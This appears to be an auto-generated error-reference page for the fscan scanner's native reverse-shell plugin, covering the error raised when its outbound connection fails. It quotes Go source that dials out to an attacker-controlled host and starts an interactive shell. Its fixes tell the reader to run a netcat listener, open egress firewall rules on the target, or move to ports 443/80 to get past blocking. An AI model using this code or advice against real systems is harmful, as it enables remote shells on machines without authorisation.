shadow1ng/fscan · error
%s: %w [connection_failed_plain]
Error message
%s: %w [connection_failed_plain]
What it means
The native reverse-shell plugin failed to establish the outbound TCP connection to the attacker-controlled host:port via net.Dial. The dial error is wrapped so callers can inspect net.OpError/DNSError.
Source
Thrown at plugins/local/reverseshell.go:97
}
output.WriteString(i18n.GetText("reverseshell_done") + "\n")
session.LogSuccess(i18n.Tr("reverseshell_complete", target))
return &plugins.Result{
Success: true,
Type: plugins.ResultTypeService,
Output: output.String(),
Error: nil,
}
}
// startNativeReverseShell 启动Go原生反弹Shell
func (p *ReverseShellPlugin) startNativeReverseShell(ctx context.Context, host string, port int, state *common.State, session *common.ScanSession) error {
// 连接到目标
conn, err := net.Dial("tcp", net.JoinHostPort(host, strconv.Itoa(port)))
if err != nil {
return fmt.Errorf("%s: %w", i18n.GetText("connection_failed_plain"), err)
}
defer func() { _ = conn.Close() }()
session.LogSuccess(i18n.Tr("reverseshell_connected", host, port))
// 设置反弹Shell为活跃状态
state.SetReverseShellActive(true)
defer func() {
state.SetReverseShellActive(false)
}()
// 发送欢迎消息
welcomeMsg := fmt.Sprintf("Go Native Reverse Shell - %s/%s\n", runtime.GOOS, runtime.GOARCH)
_, _ = conn.Write([]byte(welcomeMsg))
_, _ = conn.Write([]byte("Type 'exit' to quit\n"))
// 创建读取器
reader := bufio.NewReader(conn)View on GitHub (pinned to 95cc12e753)
Solutions
- Verify the listener is up on the configured host:port (nc -lvp <port> / netcat) before running the plugin.
- Check host/IP and port configuration for typos; test with `Test-NetConnection host -Port port`.
- Open an egress firewall rule on the target for the chosen port, or switch to a commonly allowed port (443/80).
- If DNS is the cause, use the literal IP in the plugin configuration.
Example fix
// before
conn, err := net.Dial("tcp", net.JoinHostPort(host, strconv.Itoa(port)))
if err != nil {
return fmt.Errorf("%s: %w", i18n.GetText("connection_failed_plain"), err)
}
// after — add a bounded dial with context so failures fail fast and clearly
d := net.Dialer{Timeout: 10 * time.Second}
conn, err := d.DialContext(ctx, "tcp", net.JoinHostPort(host, strconv.Itoa(port)))
if err != nil {
return fmt.Errorf("%s: %w", i18n.GetText("connection_failed_plain"), err)
} Defensive patterns
Strategy: retry
Validate before calling
func reachable(host string, port int, timeout time.Duration) error {
conn, err := net.DialTimeout("tcp", net.JoinHostPort(host, strconv.Itoa(port)), timeout)
if err != nil {
return err
}
_ = conn.Close()
return nil
} Type guard
func isDialError(err error) bool {
var opErr *net.OpError
return errors.As(err, &opErr)
} Try / catch
if err := startNativeReverseShell(ctx, host, port, state, session); err != nil {
var dnsErr *net.DNSError
if errors.As(err, &dnsErr) {
// resolve/config fix
} else if isConnRefused(err) {
// listener down on host:port
}
} Prevention
- Start the listener before running the reverse-shell plugin
- Verify host/port with a TCP probe first
- Prefer literal IPs to avoid DNS surprises
- Use a context-bounded Dialer with a timeout
When it happens
Trigger: net.Dial("tcp", host:port) in startNativeReverseShell returns err — connection refused, host unreachable, DNS failure, or firewall blocking egress.
Common situations: Listener not running on the C2 host/port; typo in host or port in the plugin config; corporate egress firewall blocking the port; target network has no route to the listener.
Understand the failure class
Background: ECONNREFUSED and "connection refused" / "could not connect to server" errors: what they mean and how to fix them — this error's family across 44 libraries.
Related errors
AI-assisted analysis of shadow1ng/fscan@95cc12e753 (2026-09-06).
Data as JSON: /api/errors/471900744edd3e30.
Report an issue: GitHub.